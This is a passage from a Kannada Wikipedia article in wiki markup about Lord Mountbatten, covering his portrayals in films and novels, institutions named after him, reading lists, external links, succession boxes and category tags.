ಚಿತ್ರದಲ್ಲಿ ಆತನು ಭಾರತದಲ್ಲಿದ್ದ ಕಾಲಾವಧಿಗೆ ಹೆಚ್ಚು ಮಹತ್ವ ನೀಡಲಾಗಿದ್ದು ನೆಹರೂರೊಂದಿಗಿನ ಲೇಡಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸಂಬಂಧವನ್ನು ಪರೋಕ್ಷವಾಗಿ ಬಿಂಬಿಸಿತ್ತು. USನಲ್ಲಿ ಮಾಸ್ಟರ್‌ಪೀಸ್‌ ಥಿಯೇಟರ್‌ನಲ್ಲಿ ಇದನ್ನು ಪ್ರಸಾರ ಮಾಡಲಾಗಿತ್ತು. ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು (ಕ್ರಿಸ್ಟೋಫರ್‌ ಓವನ್‌ರು ಈ ಪಾತ್ರ ವಹಿಸಿದ್ದರು) ೨೦೦೮ರ ಚಲನಚಿತ್ರ ''ದ ಬ್ಯಾಂಕ್‌ ಜಾಬ್‌'' ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದರು, ಈ ಚಿತ್ರವು ೧೯೭೦ರ ದಶಕದ ಸರ್ಕಾರಿ ಪ್ರೇರಿತ ಬ್ಯಾಂಕ್‌ ದರೋಡೆಯ ಕಥೆಯನ್ನು ಹೊಂದಿದೆ. ಪ್ಯಾಡಿಂಗ್‌ಟನ್‌ ಸ್ಟೇಷನ್‌ನ ಗೋಪ್ಯವಾದ ಸ್ಥಳವೊಂದರಲ್ಲಿ ನಡೆಯುವ ಗುಪ್ತ ಭೇಟಿಯೊಂದರಲ್ಲಿ, ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನನ್ನು ಬ್ರಿಟಿಷ್‌‌ ಸರ್ಕಾರದ ಓರ್ವ ಪ್ರತಿನಿಧಿಯನ್ನಾಗಿ ಚಿತ್ರಿಸಲಾಗಿದ್ದು, ರಾಜಕುಟುಂಬವನ್ನು ಮುಜುಗರಕ್ಕೀಡುಮಾಡುವ ಸಂಭಾವ್ಯತೆ ಇರುವ ರಾಜಕುಮಾರಿ/ರಾಣಿ ಮಾರ್ಗರೇಟ್‌‌ಳ ನಗ್ನ ಚಿತ್ರಗಳ ಬದಲಿಗೆ ವಿನಿಮಯವಾಗಿ ಆತನು ಡಕಾಯಿತರಿಗೆ ತಮ್ಮ ಮೇಲೆ ವಿಚಾರಣೆಯನ್ನು ನಡೆಸುವುದಿಲ್ಲವೆಂಬ ರಕ್ಷಣೆಯನ್ನು ಖಾತರಿಪಡಿಸುವ ದಾಖಲೆಗಳನ್ನು ಹಸ್ತಾಂತರಿಸುತ್ತಾನೆ. ಅದಾದ ನಂತರ ವ್ಯಂಗ್ಯವಾಗಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ "ಯುದ್ಧವು ಮುಗಿದ ನಂತರದಿಂದ ಇಂತಹಾ ಕಾತರತೆಯನ್ನು ನಾನು ಅನುಭವಿಸಿಯೇ ಇರಲಿಲ್ಲ " ಎಂದು ಹೇಳುತ್ತಾನೆ.<ref>{{Cite news | url=http://www.time.com/time/arts/article/0,8599,1720472,00.html | work=Time | date=7 March 2008 | accessdate=11 May 2010 | first=Richard | last=Schickel | title=ಆರ್ಕೈವ್ ನಕಲು | archive-date=6 ಫೆಬ್ರವರಿ 2011 | archive-url=https://web.archive.org/web/20110206082711/http://www.time.com/time/arts/article/0,8599,1720472,00.html | url-status=dead }}</ref> ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನ ಪಾತ್ರವನ್ನು ೨೦೦೮ರ ಕಿರುತೆರೆ ಚಲನಚಿತ್ರ ''ಇನ್‌ ಲವ್‌ ವಿತ್‌ ಬಾರ್ಬರಾ'' ಎಂಬ ರಮಣೀಯ ಕಾದಂಬರಿಗಾರ್ತಿ ಬಾರ್ಬರಾ ಕಾರ್ಟ್‌ಲ್ಯಾಂಡ್‌ರ ಜೀವನಚರಿತ್ರೆ ಕುರಿತ ಚಿತ್ರದಲ್ಲಿ ಡೇವಿಡ್‌ ವಾರ್ನರ್‌ರು ವಹಿಸಿದ್ದರು ಈ ಚಿತ್ರವನ್ನು UKನಲ್ಲಿ BBC ಫೋರ್‌ ವಾಹಿನಿಯಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲಾಗಿತ್ತು. ಟೆಡ್‌ ಬೆಲ್‌ರು ರಚಿಸಿದ್ದ ಕಾದಂಬರಿ ವಾರ್‌ಲಾರ್ಡ್‌‌ನಲ್ಲಿ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರದೂ ಒಂದು ಪಾತ್ರವಿದೆ. ಆತ ಭಾರತದ ವೈಸ್‌‌ರಾಯ್‌‌ ಆಗಿದ್ದಾಗಿನ ಅವಧಿಯ ಭಾಗವನ್ನು ಹಾಗೂ ಆತನ ಪತ್ನಿ ಹಾಗೂ ನೆಹರೂರವರ ನಡುವಿನ ಪ್ರಣಯಕಥೆಯನ್ನು ಸಂಭಾವ್ಯವಾಗಿ ಚಿತ್ರಿಸಲಿದ್ದ ಇತ್ತೀಚೆಗಷ್ಟೇ ರದ್ದಾದ ಚಲನಚಿತ್ರ ''ಇಂಡಿಯನ್‌ ಸಮ್ಮರ್‌'' ನಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಪಾತ್ರ ಕಾಣಿಸಿಕೊಳ್ಳಬೇಕಾಗಿತ್ತು. ಇದು ಅಲೆಕ್ಸ್‌ ವಾನ್‌ ಟುನ್ಜೆಲ್‌ಮನ್‌ರ ಕೃತಿ ''[[Indian Summer: The Secret history of the end of an empire]]'' ಯ ಮೇಲೆ ಲಘುವಾಗಿ ಆಧರಿಸಿರಬೇಕಾಗಿತ್ತು.<ref>{{Cite news| url=http://entertainment.timesonline.co.uk/tol/arts_and_entertainment/books/article4213430.ece | work=The Times | location=London | title=Indian Summer story of the Mountbattens | first=Ed | last=Caesar | date=29 June 2008 | accessdate=11 May 2010}}</ref> ===ಇತರೆ ಗಮನಾರ್ಹ ಹಿರಿಮೆಗಳು=== ರಾಮ್ಸೆಯ ವೈಟ್‌ನ್ಯಾಪ್‌ ಎಂಬಲ್ಲಿನ ಬ್ರಾಡ್‌ಲ್ಯಾಂಡ್ಸ್‌‌ ಎಸ್ಟೇಟ್‌ನ ಮೂಲತಃ ಭಾಗವಾಗಿದ್ದ ಭೂಮಿಯಲ್ಲಿ ಆತನ ಹೆಸರಿನಲ್ಲಿಯೇ ದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಶಾಲೆಯನ್ನು ೧೯೬೯ರಲ್ಲಿ ತೆರೆಯಲಾಗಿತ್ತು. ಎಡಿನ್‌ಬರ್ಗ್‌ನಲ್ಲಿನ ಹೀರಿಯಟ್‌-ವಾಟ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯದ ದ ಸ್ಕೂಲ್‌ ಆಫ್‌ ಮ್ಯಾಥೆಮ್ಯಾಟಿಕಲ್‌ ಅಂಡ್‌ ಕಂಪ್ಯೂಟರ್‌ ಸೈನ್ಸಸ್‌ ಎಂಬ ಮಹಾವಿದ್ಯಾಲಯಕ್ಕೆ ಆತನ ಹೆಸರನ್ನೇ ಇಡಲಾಗಿದೆ. ಸೌತಾಂಪ್ಟನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಸೆಂಟರ್‌ ಫಾರ್‌ ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ ಸ್ಟಡೀಸ್‌ ಎಂಬುದಕ್ಕೂ ಆತನದೇ ಹೆಸರಿಡಲಾಗಿದೆ. ಸಂಸ್ಕೃತಿಗಳ ನಡುವಿನ ಪರಸ್ಪರ ಅರ್ಥೈಸುವಿಕೆಗಳನ್ನು ಹೆಚ್ಚಿಸುವಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಬಹಳ ಹೆಮ್ಮೆಯನ್ನು ಹೊಂದಿದ್ದರಲ್ಲದೇ ೧೯೮೪ರಲ್ಲಿ, ತನ್ನ ಹಿರಿಯ ಪುತ್ರಿಯು ಪೋಷಕಳಾಗಿದ್ದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಇಂಟರ್ನ್‌ಷಿಪ್‌ ಪ್ರೋಗ್ರಾಮ್‌ <ref>http://www.mountbatten.org, ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಇಂಟರ್ನ್‌ಷಿಪ್‌ ಪ್ರೋಗ್ರಾಮ್‌ -ಅಧಿಕೃತ ಜಾಲತಾಣ</ref> ಎಂಬ ಕಾರ್ಯಕ್ರಮವನ್ನು ಯುವ ವಯಸ್ಕರನ್ನು ತಮ್ಮ ಪರಸ್ಪರರ ಸಂಸ್ಕೃತಿಗಳ ಮೇಲೆ ಗೌರವಗಳನ್ನು ಹೆಚ್ಚಿಸಿಕೊಳ್ಳುವ ಹಾಗೂ ಅದನ್ನು ವಿದೇಶದಲ್ಲಿ ಸ್ವಲ್ಪ ಸಮಯವನ್ನು ಕಳೆಯುವ ಅವಕಾಶವನ್ನು ಕೊಟ್ಟಿದ್ದರು. ಪಾಸ್ಟ್‌,ಪ್ರೆಸೆಂಟ್‌ ಅಂಡ್‌ ಫ್ಯೂಚರ್‌ ಎಂಬ ೧೯೭೩ರ LP ಮುದ್ರಿಕೆಯಲ್ಲಿ ಪ್ರಕಟವಾದ ಪೋಸ್ಟ್‌ ವರ್ಲ್ಡ್‌‌ ವಾರ್‌ ಟು ಬ್ಲ್ಯೂಸ್‌ ಎಂಬ ತಮ್ಮ ಗೀತೆಯೊಂದರಲ್ಲಿ ಗಾಯಕ ಹಾಗೂ ಗೀತರಚನೆಕಾರ ಅಲ್‌ ಸ್ಟೀವರ್ಟ್‌ರು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಭಾರತದ ಬಗ್ಗೆ ವಿನ್‌‌ಸ್ಟನ್‌‌ ಚರ್ಚಿಲ್‌‌ರೊಂದಿಗೆ ಹೊಂದಿದ್ದ ವಿವಾದಾಸ್ಪದ ಭಿನ್ನಾಭಿಪ್ರಾಯದ ಉಲ್ಲೇಖವನ್ನು ಹೊಂದಿದೆ. ==ಇವನ್ನೂ ಗಮನಿಸಿ‌== * ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಇಂಟರ್ನ್‌ಷಿಪ್‌ ಯೋಜನೆ ==ಅಡಿ ಟಿಪ್ಪಣಿಗಳು== {{Reflist|2}} ==ಹೆಚ್ಚಿನ ಓದಿಗೆ== :ಇದನ್ನೂ ನೋಡಿ: ಡೇವಿಡ್‌ ಲೇಯ್‌, "ದ ವಿಲ್ಸನ್‌ ಪ್ಲಾಟ್‌: ದ ಇಂಟೆಲಿಜೆನ್ಸ್‌ ಸರ್ವೀಸಸ್‌ ಅಂಡ್‌ ದ ಡಿಸ್‌ಕ್ರೆಡಿಟಿಂಗ್‌ ಆಫ್‌ ಎ ಪ್ರೈಮ್‌ ಮಿನಿಸ್ಟರ್‌ ೧೯೪೫–೧೯೭೬", ಲಂಡನ್‌‌ : ಹೀನೆಮನ್ನ್‌, ೧೯೮೮ ==ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ== * ಫಿಲಿಪ್‌ ಝೀಗ್ಲೆರ್‌‌ , ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ : ದ ಅಫಿಷಿಯಲ್‌ ಬಯೋಗ್ರಾಫಿ'' , (ಕಾಲಿನ್ಸ್‌, ೧೯೮೫) * ರಿಚರ್ಡ್‌ ಹಗ್‌‌, ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ; ಹೀರೋ ಆಫ್‌ ಅವರ್‌ ಟೈಮ್‌'' , (ವೇಯ್ಡೆನ್‌ಫೆಲ್ಡ್‌ ಮತ್ತು ನಿಕೋಲ್ಸನ್‌, ೧೯೮೦) * ''ದ ಲೈಫ್‌ ಅಂಡ್‌ ಟೈಮ್ಸ್‌ ಆಫ್‌ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ '' (ಹಚಿನ್ಸನ್‌, ೧೯೬೮) * ಸ್ಮಿತ್‌, ಅಡ್ರಿಯಾನ್‌. ''ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ : ಅಪ್ರೆಂಟಿಸ್‌ ವಾರ್‌ ಲಾರ್ಡ್‌‌'' (I.B. ಟಾರಿಸ್‌; ೨೦೧೦) ೩೮೪ ಪುಟಗಳು; ೧೯೪೩ರವರೆಗಿನ ಜೀವನಚರಿತ್ರೆ. * ಆಂಡ್ರ್ಯೂ ರಾಬರ್ಟ್ಸ್‌‌ ''ಎಮಿನೆಂಟ್‌ ಚರ್ಚಿಲಿಯನ್ಸ್‌'' , (ಫೀನಿಕ್ಸ್‌ ಪ್ರೆಸ್, ೧೯೯೪). * ಡಾಮಿನಿಕ್‌ ಲೇಪಿಯೆರ್ರೆ ಮತ್ತು ಲ್ಯಾರ್ರಿ ಕಾಲಿನ್ಸ್‌‌ ''ಫ್ರೀಡಮ್‌ ಅಟ್‌ ಮಿಡ್‌ನೈಟ್‌'' , (ಕಾಲಿನ್ಸ್‌, ೧೯೭೫). * ರಾಬರ್ಟ್‌ ಲೇಸೆ ''ರಾಯಲ್‌'' (೨೦೦೨) * A.N. ವಿಲ್ಸನ್‌ ''ಆಫ್ಟರ್‌ ದ ವಿಕ್ಟೋರಿಯನ್ಸ್‌: ೧೯೦೧–೧೯೫೩'' , (ಹಚಿನ್ಸನ್‌ , ೨೦೦೫) * ಜಾನ್‌ ಲೇಟೈಮರ್‌ ''ಬರ್ಮಾ : ದ ಫಾರ್‌ಗಾಟನ್‌ ವಾರ್‌'' , (ಜಾನ್‌ ಮುರ್ರೆ, ೨೦೦೪) *ಮಾಂಟ್‌ಗೋಮೆರಿ -ಮ್ಯಾಸ್ಸಿಂಗ್‌ಬರ್ಡ್‌ , ಹಗ್‌ (ಸಂಪಾದಕ), ''ಬರ್ಕೆ'ಸ್‌ ಗೈಡ್‌ ಟುದ ರಾಯಲ್‌ ಫ್ಯಾಮಿಲಿ'' , ಬರ್ಕೆ'ಸ್‌ ಪೀರೇಜ್‌ , ಲಂಡನ್‌‌, ೧೯೭೩, ISBN ೦-೨೨೦-೬೬೨೨೨-೩ * ಟೋನಿ ಹೀಥ್‌ಕೋಟೆ ''ದ ಬ್ರಿಟಿಷ್‌‌ ಅಡ್ಮೀರಲ್ಸ್‌ ಆಫ್‌ ದ ಫ್ಲೀಟ್‌ ೧೭೩೪–೧೯೯೫'' , (ಪೆನ್‌ & ಸ್ವಾರ್ಡ್‌ Ltd, ೨೦೦೨), ISBN ೦-೮೫೦೫೨-೮೩೫-೬ * ಟಿಮೊತಿ ನ್ಯಾಚ್‌ಬುಲ್‌ ''ಫ್ರಮ್‌ ಎ ಕ್ಲಿಯರ್‌ ಬ್ಲ್ಯೂ ಸ್ಕೈ: ಸರ್ವೈವಿಂಗ್‌ ದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಬಾಂಬ್‌'' , (ಹಚಿನ್ಸನ್‌ ೨೦೦೯). ಈಗ ಜೀವದಿಂದಿರುವ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಅವಳಿ ಮೊಮ್ಮಗ ವರ್ಣಿಸಿರುವ ವೈಯಕ್ತಿಕ ಕಥಾನಕ. ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು‌‌== {{Commons category|Louis Mountbatten, 1st Earl Mountbatten of Burma}} * [http://mountbattenofburma.com mountbattenofburma.com - ಬರ್ಮಾದ 1ನೆಯ ಅರ್ಲ್ ಮೌಂಟ್‌ಬ್ಯಾಟನ್ ಲೂಯಿಸ್ ಅವರಿಗೆ ಅರ್ಪಣೆ ಮತ್ತು ಸ್ಮರಣಾರ್ಥ] * [http://www.combinedops.com/mountbatten.htm ಕಂಬೈನ್‌ಡ್‌ ಓಪ್ಸ್‌] * [http://www.u-35.com/mountbatten/ ಜರ್ಮನ್‌‌ U-ದೋಣಿ/ಬೋಟ್‌ U-35 ಅಧಿಕಾರಿಗಳೊಂದಿಗೆ ಸಂವಾದ] * [http://www.sligoheritage.com/archmbatten.htm ದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಅಸ್ಯಾಸಿನೇಷನ್‌ : ಎ ರಿಟ್ರೋಸ್ಪೆಕ್ಟೀವ್‌] * ದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಸ್ಕೂಲ್‌, ರಾಮ್ಸೆ- http://www.mountbatten.hants.sch.uk/home/index.php {{Webarchive|url=https://web.archive.org/web/20081017073440/http://www.mountbatten.hants.sch.uk/home/index.php |date=17 ಅಕ್ಟೋಬರ್ 2008 }} * [http://www.mountbatten.org ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಇಂಟರ್ನ್‌ಷಿಪ್‌ ಪ್ರೋಗ್ರಾಮ್‌] {{S-start}} {{S-gov}} {{S-bef|rows=3|before=[[Archibald Percival Wavell, 1st Earl Wavell|The Viscount Wavell]]}} {{S-ttl|title=[[Governor-General of India|Viceroy of India]]|years=1947}} {{S-non|reason=Office abolished}} |- {{S-ttl|rows=2|title=[[Governor-General of India]]|years=1947&ndash;1948}} {{S-aft|after=[[C. Rajagopalachari]]}} |- {{S-aft|after=[[Muhammad Ali Jinnah]]|as=[[Governor-General of Pakistan]]}} {{S-mil}} {{S-bef|before=New title}} {{S-ttl|title=Supreme Commander [[South-East Asian theatre of World War II|South East Asia Theatre]]|years=1943&ndash;1946}} {{S-aft|after=Disbanded}} {{S-bef|before=[[Herbert Annesley Packer|Sir Herbert Packer]]}} {{S-ttl|title=[[Fourth Sea Lord]]|years=1950–1952}} {{S-aft|after=[[Sydney Raw|Sir Sydney Raw]]}} {{Succession box|title=[[Mediterranean Fleet|Commander-in-Chief, Mediterranean Fleet]]|years=1952&ndash;1954|before=[[John Edelsten|Sir John Edelsten]]|after=[[Guy Grantham|Sir Guy Grantham]]}} {{S-bef|before=[[Rhoderick McGrigor|Sir Rhoderick McGrigor]]}} {{S-ttl|title=[[First Sea Lord]]|years=1955&ndash;1959}} {{S-aft|after=[[Charles Lambe|Sir Charles Lambe]]}} {{S-bef|before=[[William Dickson (military officer)|Sir William Dickson]]}} {{S-ttl|title=[[Chief of the Defence Staff (United Kingdom)|Chief of the Defence Staff]]|years=1959&ndash;1965}} {{S-aft|after=[[Richard Amyatt Hull|Sir Richard Hull]]}} {{S-bef|before=[[Rustu Erdelhun]]}} {{S-ttl|title=[[Chairman of the NATO Military Committee]]|years=1960&ndash;1961}} {{S-aft|after=[[Lyman Lemnitzer|Lyman L. Lemnitzer]]}} |- {{S-aca}} {{S-bef|before=?}} {{S-ttl|title=[[United World Colleges|President of the United World Colleges]] |years=1967&ndash;1978}} {{S-aft|after=[[Charles, Prince of Wales|The Prince of Wales]]}} |- {{S-hon}} {{S-new}} {{S-ttl|title=[[Lord Lieutenant of the Isle of Wight]]|years=1974&ndash;1979}} {{S-aft|after=[[Sir John Nicholson, 2nd Baronet|Sir John Nicholson, Bt]]}} |- {{S-reg|uk}} {{S-new|rows=2|creation}} {{S-ttl|title=[[Earl Mountbatten of Burma]]|years=1947&ndash;1979}} {{S-aft|rows=3|after=[[Patricia Knatchbull, 2nd Countess Mountbatten of Burma|Patricia Knatchbull]]}} {{S-ttl|title=[[Baron Romsey]]|years=1947&ndash;1979}} |- {{S-new|creation}} {{S-ttl|title=[[Viscount Mountbatten of Burma]]|years=1946&ndash;1979}} {{end}} {{Chiefs of Defence Staff}} {{First Sea Lord}} {{Viceroys of India}} {{Indian independence movement}} {{Battenberg family}} {{Chairmen of the NATO Military Committee}} {{Use dmy dates|date=September 2010}} {{DEFAULTSORT:Mountbatten Of Burma, Louis Mountbatten, 1st Earl}} [[ವರ್ಗ:ಲೇಖನದ ಪ್ರತ್ಯಾದಾನಗಳ ಮಾದರಿ]] [[ವರ್ಗ:1900ರಲ್ಲಿ ಜನಿಸಿದವರು]] [[ವರ್ಗ:1979ರಲ್ಲಿ ನಿಧನ ಹೊಂದಿದವರು]] [[ವರ್ಗ:ಬ್ರಿಟಿಷ್‌‌ ಭಾರತದಲ್ಲಿನ ಕಾರ್ಯನಿರ್ವಾಹಕರು]] [[ವರ್ಗ:ಕೇಂಬ್ರಿಡ್ಜ್‌‌ನ ಕ್ರೈಸ್ಟ್‌'ಸ್‌ ಕಾಲೇಜ್‌ ಮಹಾವಿದ್ಯಾಲಯದ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿ ಸಂಘ]] [[ವರ್ಗ:ಹತ್ಯೆಗೀಡಾದ ಬ್ರಿಟಿಷ್‌‌ ರಾಜಕಾರಣಿಗಳು]] [[ವರ್ಗ:ಹತ್ಯೆಗೀಡಾದ ರಾಜವಂಶಜರು]] [[ವರ್ಗ:ಹೊರದೇಶಗಳಲ್ಲಿ ಕೊಲೆಯಾದ ಬ್ರಿಟಿಷ್‌ ಜನರು]] [[ವರ್ಗ:ಭಯೋತ್ಪಾದನೆಗೆ ಬಲಿಯಾದ ಬ್ರಿಟಿಷರು]] [[ವರ್ಗ:1979ರಲ್ಲಿ ಆದ ಭಯೋತ್ಪಾದಕ ಕೃತ್ಯಗಳು]] [[ವರ್ಗ:ಡಿಸ್ಟಿಂಗ್ವಿಷ್‌ಡ್‌ ಸರ್ವೀಸ್‌ ಆರ್ಡರ್‌ ಪಡೆಯ ಸಂಗಡಿಗರು]] [[ವರ್ಗ:ಐರ್ಲೆಂಡ್‌‌ ಗಣರಾಜ್ಯದಲ್ಲಿ ಸುಧಾರಿತ ಸ್ಫೋಟಕಗಳನ್ನು ಬಳಸಿ ಮಾಡಿದ ಹತ್ಯೆಗಳು]] [[ವರ್ಗ:ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌‌‌ನ ಶ್ರೀಮಂತವರ್ಗದಲ್ಲಿನ ಅರ್ಲ್‌‌ಗಳ ಪಟ್ಟಿ]] [[ವರ್ಗ:ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ಗಳು]] [[ವರ್ಗ:ಜರ್ಮನ್ ಸಂತತಿಯ ಆಂಗ್ಲ ಜನರು]] [[ವರ್ಗ:ರಾಯಲ್‌ ಸೊಸೈಟಿಯ ಫೆಲೋಗಳು]] [[ವರ್ಗ:ಪ್ರಥಮ ದರ್ಜೆಯ ಸೀ ಲಾರ್ಡ್‌ ಅಧಿಕಾರಿಗಳು]] [[ವರ್ಗ:ಭಾರತದ ಮಹಾಮಂಡಲಾಧಿಪತಿಗಳು]] [[ವರ್ಗ:ಹೌಸ್‌ ಆಫ್‌ ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌]] [[ವರ್ಗ:ಗ್ರ್ಯಾಂಡ್‌ ಕಮ್ಯಾಂಡರ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಇಂಡಿಯನ್‌ ಎಂಪೈರ್‌ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಂಡ್‌ ಕಮ್ಯಾಂಡರ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಸ್ಟಾರ್‌ ಆಫ್‌ ಇಂಡಿಯಾ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಂಡ್ ಕ್ರಾಸ್ ಆಫ್‌ ದ ಆರ್ಡರ್ ಆಫ್ ದ ಬಾಥ್‌ನ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ರಾಯಲ್‌ ವಿಕ್ಟೋರಿಯನ್‌ ಆರ್ಡರ್‌ನ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಜಸ್ಟೀಸ್‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌‌ St ಜಾನ್‌ನ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ದ ಗಾರ್ಟರ್‌ನ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಲೆಜಿಯನ್ ಡಿ'ಹಾನರ್‌ನ ಗ್ರ್ಯಾಂಡ್ ಕ್ರೊಯಿಕ್ಸ್]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ಇಸಾಬೆಲ್ಲಾ ದ ಕ್ಯಾಥೊಲಿಕ್‌ನ ಪಡೆದವರು]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಕ್ರೌನ್‌ನ (ರೊಮೇನಿಯಾ) ಪಡೆದವರು]] [[ವರ್ಗ:ವಾರ್‌ ಕ್ರಾಸ್‌ನ ಪಡೆದವರು (ಗ್ರೀಸ್‌‌)]] [[ವರ್ಗ:ಲೆಜಿಯನ್‌ ಆಫ್‌ ಮೆರಿಟ್‌ನ ಮುಖ್ಯ ದಳಪತಿಗಳು]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಕ್ಲೌಡ್‌ ಅಂಡ್ ಬ್ಯಾನರ್‌ನ ಪಡೆದವರು]] [[ವರ್ಗ:ಡಿಸ್ಟಿಂಗ್ವಿಷ್‌ಡ್‌ ಸರ್ವೀಸ್‌ ಮೆಡಲ್‌ ಪದಕಗಳನ್ನು ಪಡೆದ ವಿದೇಶೀಯರು (ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌‌)]] [[ವರ್ಗ:ಕ್ರಾಯಿಕ್ಸ್‌ ಡೆ ಗೆರ್ರೆನ ಪಡೆದವರು (ಫ್ರಾನ್ಸ್‌‌)]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಸ್ಟಾರ್‌ ಆಫ್ ನೇಪಾಳ್‌ನ ಪಡೆದವರು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ವೈಟ್‌ ಎಲಿಫೆಂಟ್‌ ನ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ಜಾರ್ಜ್‌‌ Iನ ಪದವಿಧರರು]] [[ವರ್ಗ:ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ನೆದರ್‌ಲೆಂಡ್ಸ್‌ ಲಯನ್‌ನ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಧರರು]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ಅವಿಜ್‌ನ ಪಡೆದವರು]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಸೆರಾಫಿಮ್‌ಅನ್ನು ಪಡೆದವರು]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ಮೆರಿಟ್‌ನ ಸದಸ್ಯರು]] [[ವರ್ಗ:ಆರ್ಡರ್‌ ಆಫ್‌ ಸೋಲೋಮನ್‌ನ ಪಡೆದವರು]] [[ವರ್ಗ:ಫ್ರಾಂಟಿಯರ್ಸ್‌‌‌ಮೆನ್ ಸದಸ್ಯರ ತುಕಡಿ]] [[ವರ್ಗ:ವ್ಹೈಟ್‌ ದ್ವೀಪದ ಲಾರ್ಡ್‌‌ ಲೆಫ್ಟಿನೆಂಟ್‌‌ ಗಳು]] [[ವರ್ಗ:ನೌಕಾಧಿಪತ್ಯ ಕಚೇರಿಯ ಲಾರ್ಡ್‌‌ಗಳು]] [[ವರ್ಗ:ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಮ್‌‌‌ನ ಪ್ರಿವಿ ಕೌನ್ಸಿಲ್‌ನ ಸದಸ್ಯರು]] [[ವರ್ಗ:ಬ್ರಿಟಿಷರ ಆಡಳಿತದಡಿಯಲ್ಲಿ ಸಿಂಗಪೂರ್‌‌ನ ಸೇನಾಪಡೆ]] [[ವರ್ಗ:ಪಾಕಿಸ್ತಾನ ಚಳುವಳಿ]] [[ವರ್ಗ:ಬರ್ಕ್‌ಷೈರ್‌ನ ವಿಂಡ್ಸರ್‌‌ನಲ್ಲಿನ ಜನರು]] [[ವರ್ಗ:ಐರಿಷ್‌ ಗಣರಾಜ್ಯದ/ರಿಪಬ್ಲಿಕನ್‌ ಅನಧಿಕೃತ ಸೈನ್ಯದಿಂದ ಕೊಲ್ಲಲ್ಪಟ್ಟವರು]] [[ವರ್ಗ:ಐರ್ಲೆಂಡ್‌‌ ಗಣರಾಜ್ಯದಲ್ಲಿ ಹತ್ಯೆಯಾದವರು]] [[ವರ್ಗ:ಬ್ರಿಟಿಷ್‌‌ ಕಂಪ್ಯೂಟರ್‌ 